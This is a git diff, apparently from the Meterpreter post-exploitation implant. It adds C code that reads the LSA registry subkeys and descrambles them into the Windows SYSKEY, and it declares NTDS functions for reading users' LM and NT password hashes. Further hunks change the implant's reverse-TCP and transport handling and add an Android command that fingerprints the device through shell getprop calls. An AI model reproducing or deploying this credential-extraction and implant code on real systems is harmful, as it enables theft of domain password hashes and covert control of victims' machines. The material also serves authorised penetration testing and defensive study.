JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount);
|
||||
JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount);
|
||||
JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount);
|
||||
void get_instance_name(char *name);
|
||||
#endif
|
90
c/meterpreter/source/extensions/extapi/syskey.c
Normal file
90
c/meterpreter/source/extensions/extapi/syskey.c
Normal file
@ -0,0 +1,90 @@
|
||||
/*!
|
||||
* @file syskey.c
|
||||
* @brief Definitions for functions to retrieve the SYSKEY from the Registry
|
||||
*/
|
||||
#include "extapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <WinCrypt.h>
|
||||
#include "syskey.h"
|
||||
#include "ntds_decrypt.h"
|
||||
#include "ntds_jet.h"
|
||||
#include "ntds.h"
|
||||
|
||||
/*!
|
||||
* @brief Get individual component of the SysKey from the Registry.
|
||||
* @param lsaHandle Handle to the LSA Registry Key
|
||||
* @param subkeyName String containing the name of the Subkey to read from.
|
||||
* @param tmpSysKey Pointer to the string of the Syskey we are building
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey)
|
||||
{
|
||||
DWORD sizeData = 9;
|
||||
long regStatus;
|
||||
HKEY subkeyHandle;
|
||||
unsigned char tmpVal[16];
|
||||
intmax_t byteComponent = 0;
|
||||
|
||||
regStatus = RegOpenKeyEx(lsaHandle, subkeyName, 0, KEY_READ, &subkeyHandle);
|
||||
if (regStatus != ERROR_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
regStatus = RegQueryInfoKey(subkeyHandle, (LPSTR)&tmpVal, &sizeData, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if (regStatus != ERROR_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
byteComponent = strtoimax(tmpVal, NULL, 16);
|
||||
strncat_s(tmpSysKey, 17, (char *)&byteComponent, 4);
|
||||
RegCloseKey(subkeyHandle);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Retrieves and assembled the SYSKEY from the Registry
|
||||
* @param sysKey Pointer to the string of the Syskey we are building
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL get_syskey(unsigned char *sysKey)
|
||||
{
|
||||
unsigned char tmpSysKey[17];
|
||||
unsigned char interimSysKey[17];
|
||||
long regStatus;
|
||||
DWORD disposition = 0;
|
||||
HKEY lsaHandle;
|
||||
memset(&tmpSysKey, 0, sizeof(tmpSysKey));
|
||||
memset(&interimSysKey, 0, sizeof(tmpSysKey));
|
||||
|
||||
//Used for descrambling the bytes of the SYSKEY (absurd isn't it?)
|
||||
BYTE syskeyDescrambler[16] = { 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 };
|
||||
|
||||
regStatus = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_READ, NULL, &lsaHandle, &disposition);
|
||||
if (regStatus != ERROR_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
if (disposition == REG_CREATED_NEW_KEY) {
|
||||
RegCloseKey(lsaHandle);
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "JD", tmpSysKey)) {
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "Skew1", tmpSysKey)) {
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "GBG", tmpSysKey)) {
|
||||
return FALSE;
|
||||
}
|
||||
if (!get_syskey_component(lsaHandle, "Data", tmpSysKey)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
interimSysKey[i] = tmpSysKey[syskeyDescrambler[i]];
|
||||
}
|
||||
strncpy_s(sysKey, 17, interimSysKey, 16);
|
||||
RegCloseKey(lsaHandle);
|
||||
return TRUE;
|
||||
}
|
6
c/meterpreter/source/extensions/extapi/syskey.h
Executable file
6
c/meterpreter/source/extensions/extapi/syskey.h
Executable file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_SYSKEY_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_PRIV_SERVER_SYSKEY_H
|
||||
BOOL get_syskey_component(HKEY lsaHandle, char subkeyName[255], unsigned char *tmpSysKey);
|
||||
BOOL get_syskey(unsigned char *sysKey);
|
||||
|
||||
#endif
|
0
c/meterpreter/source/extensions/priv/priv.h
Normal file → Executable file
0
c/meterpreter/source/extensions/priv/priv.h
Normal file → Executable file
0
c/meterpreter/source/extensions/priv/server/precomp.h
Normal file → Executable file
0
c/meterpreter/source/extensions/priv/server/precomp.h
Normal file → Executable file
4
c/meterpreter/source/extensions/priv/server/priv.c
Normal file → Executable file
4
c/meterpreter/source/extensions/priv/server/priv.c
Normal file → Executable file
@ -1,10 +1,10 @@
|
||||
/*!
|
||||
* @brief This module implements privilege escalation features.
|
||||
* @brief This module implements privilege escalation features.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
|
@ -1115,7 +1115,7 @@ static void append_transport(Transport** list, Transport* newTransport) {
|
||||
|
||||
static void remove_transport(Remote* remote, Transport* oldTransport) {
|
||||
// if we point to ourself, then we're the last one
|
||||
if (remote->transport->next_transport == oldTransport) {
|
||||
if (remote->transport->next_transport == remote->transport) {
|
||||
remote->transport = NULL;
|
||||
}
|
||||
else {
|
||||
@ -1294,6 +1294,8 @@ DWORD server_setup(MetsrvConfig* config)
|
||||
|
||||
// Set up the transport creation function pointer
|
||||
remote->trans_create = create_transport;
|
||||
// Set up the transport removal function pointer
|
||||
remote->trans_remove = remove_transport;
|
||||
// and the config creation pointer
|
||||
remote->config_create = config_create;
|
||||
|
||||
|
@ -158,7 +158,7 @@ static void append_transport(Transport** list, Transport* newTransport)
|
||||
static void remove_transport(Remote* remote, Transport* oldTransport)
|
||||
{
|
||||
// if we point to ourself, then we're the last one
|
||||
if (remote->transport->next_transport == oldTransport)
|
||||
if (remote->transport->next_transport == remote->transport)
|
||||
{
|
||||
remote->transport = NULL;
|
||||
}
|
||||
@ -347,6 +347,8 @@ DWORD server_setup(MetsrvConfig* config)
|
||||
|
||||
// Set up the transport creation function pointer
|
||||
remote->trans_create = create_transport;
|
||||
// Set up the transport removal function pointer
|
||||
remote->trans_remove = remove_transport;
|
||||
// and the config creation pointer
|
||||
remote->config_create = config_create;
|
||||
|
||||
@ -439,7 +441,9 @@ DWORD server_setup(MetsrvConfig* config)
|
||||
if (remote->next_transport_wait > 0)
|
||||
{
|
||||
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
|
||||
Sleep(remote->next_transport_wait * 1000);
|
||||
|
||||
sleep(remote->next_transport_wait);
|
||||
|
||||
// the wait is a once-off thing, needs to be reset each time
|
||||
remote->next_transport_wait = 0;
|
||||
}
|
||||
|
@ -40,7 +40,7 @@ static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockA
|
||||
}
|
||||
|
||||
dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
|
||||
Sleep(retryWait * 1000);
|
||||
sleep(retryWait);
|
||||
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);
|
||||
|
||||
if (result == SOCKET_ERROR)
|
||||
@ -149,7 +149,7 @@ static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId,
|
||||
}
|
||||
|
||||
dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait);
|
||||
Sleep(retryWait * 1000);
|
||||
sleep(retryWait);
|
||||
} while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal);
|
||||
|
||||
closesocket(socketHandle);
|
||||
|
@ -444,7 +444,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClCompile Include="..\..\source\extensions\extapi\clipboard.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\clipboard_image.cpp" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\extapi.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\ntds.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\ntds_decrypt.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\ntds_jet.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\service.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\syskey.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\window.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\wmi.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\wmi_interface.cpp" />
|
||||
@ -456,7 +460,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClInclude Include="..\..\source\extensions\extapi\clipboard.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\clipboard_image.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\extapi.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\ntds.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\ntds_decrypt.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\ntds_jet.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\service.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\syskey.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\window.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\wmi.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\wmi_interface.h" />
|
||||
|
@ -669,4 +669,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
||||
|
@ -5,6 +5,7 @@ import java.net.InetAddress;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
|
||||
|
||||
@ -15,15 +16,11 @@ public class stdapi_sys_config_sysinfo_android extends
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request,
|
||||
TLVPacket response) throws Exception {
|
||||
|
||||
String androidOS = Build.VERSION.RELEASE;
|
||||
|
||||
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost()
|
||||
.getHostName());
|
||||
response.add(TLVType.TLV_TYPE_OS_NAME,
|
||||
"Android " + androidOS + " - " + System.getProperty("os.name")
|
||||
+ " " + System.getProperty("os.version") + " ("
|
||||
+ System.getProperty("os.arch") + ")");
|
||||
String androidOS = Utils.runCommand("getprop ro.build.version.release").replace("\n", "");
|
||||
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
|
||||
response.add(TLVType.TLV_TYPE_OS_NAME, "Android " + androidOS
|
||||
+ " - " + System.getProperty("os.name")
|
||||
+ " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -43,18 +43,21 @@ public interface TLVType {
|
||||
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
|
||||
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
|
||||
|
||||
public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430;
|
||||
public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431;
|
||||
public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432;
|
||||
public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433;
|
||||
public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434;
|
||||
public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440;
|
||||
public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441;
|
||||
public static final int TLV_TYPE_TRANS_TYPE = TLVPacket.TLV_META_TYPE_UINT | 430;
|
||||
public static final int TLV_TYPE_TRANS_URL = TLVPacket.TLV_META_TYPE_STRING | 431;
|
||||
public static final int TLV_TYPE_TRANS_UA = TLVPacket.TLV_META_TYPE_STRING | 432;
|
||||
public static final int TLV_TYPE_TRANS_COMM_TIMEOUT = TLVPacket.TLV_META_TYPE_UINT | 433;
|
||||
public static final int TLV_TYPE_TRANS_SESSION_EXP = TLVPacket.TLV_META_TYPE_UINT | 434;
|
||||
public static final int TLV_TYPE_TRANS_CERT_HASH = TLVPacket.TLV_META_TYPE_RAW | 435;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_HOST = TLVPacket.TLV_META_TYPE_STRING | 436;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_USER = TLVPacket.TLV_META_TYPE_STRING | 437;
|
||||
public static final int TLV_TYPE_TRANS_PROXY_PASS = TLVPacket.TLV_META_TYPE_STRING | 438;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_TOTAL = TLVPacket.TLV_META_TYPE_UINT | 439;
|
||||
public static final int TLV_TYPE_TRANS_RETRY_WAIT = TLVPacket.TLV_META_TYPE_UINT | 440;
|
||||
public static final int TLV_TYPE_TRANS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 441;
|
||||
|
||||
public static final int TLV_TYPE_MACHINE_ID = TLVPacket.TLV_META_TYPE_STRING | 460;
|
||||
public static final int TLV_TYPE_UUID = TLVPacket.TLV_META_TYPE_RAW | 461;
|
||||
|
||||
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
|
||||
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
|
||||
|
@ -0,0 +1,20 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
public class Utils {
|
||||
|
||||
public static String runCommand(String command) throws IOException {
|
||||
Process process = Runtime.getRuntime().exec(command);
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
|
||||
StringBuffer stringBuffer = new StringBuffer();
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
stringBuffer.append(line);
|
||||
stringBuffer.append('\n');
|
||||
}
|
||||
return stringBuffer.toString();
|
||||
}
|
||||
}
|
@ -18,5 +18,6 @@ public class Loader implements ExtensionLoader {
|
||||
mgr.registerCommand("core_channel_read", core_channel_read.class);
|
||||
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
||||
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
||||
mgr.registerCommand("core_machine_id", core_machine_id.class);
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,62 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.InetAddress;
|
||||
import java.net.UnknownHostException;
|
||||
|
||||
public class core_machine_id implements Command {
|
||||
|
||||
private static final String[] hdPrefixes = new String[]{"ata-", "mb-"};
|
||||
private static String machine_id;
|
||||
|
||||
private String getSerial() throws IOException {
|
||||
StringBuffer stringBuffer = new StringBuffer();
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.serialno"));
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.brand"));
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.model"));
|
||||
return stringBuffer.toString();
|
||||
}
|
||||
|
||||
private String getHDLabel() {
|
||||
File folder = new File("/dev/disk/by-id/");
|
||||
File[] listOfFiles = folder.listFiles();
|
||||
if (listOfFiles == null) {
|
||||
return null;
|
||||
}
|
||||
for (int i = 0; i < listOfFiles.length; i++) {
|
||||
String hdname = listOfFiles[i].getName();
|
||||
for (int j = 0; j < hdPrefixes.length; j++) {
|
||||
String prefix = hdPrefixes[j];
|
||||
if (hdname.startsWith(prefix)) {
|
||||
return hdname.substring(prefix.length());
|
||||
}
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String getHostname() throws UnknownHostException {
|
||||
return InetAddress.getLocalHost().getHostName();
|
||||
}
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
if (machine_id == null) {
|
||||
String serial = getHDLabel();
|
||||
if (serial == null) {
|
||||
serial = getSerial();
|
||||
}
|
||||
machine_id = serial + ":" + getHostname();
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_MACHINE_ID, machine_id);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user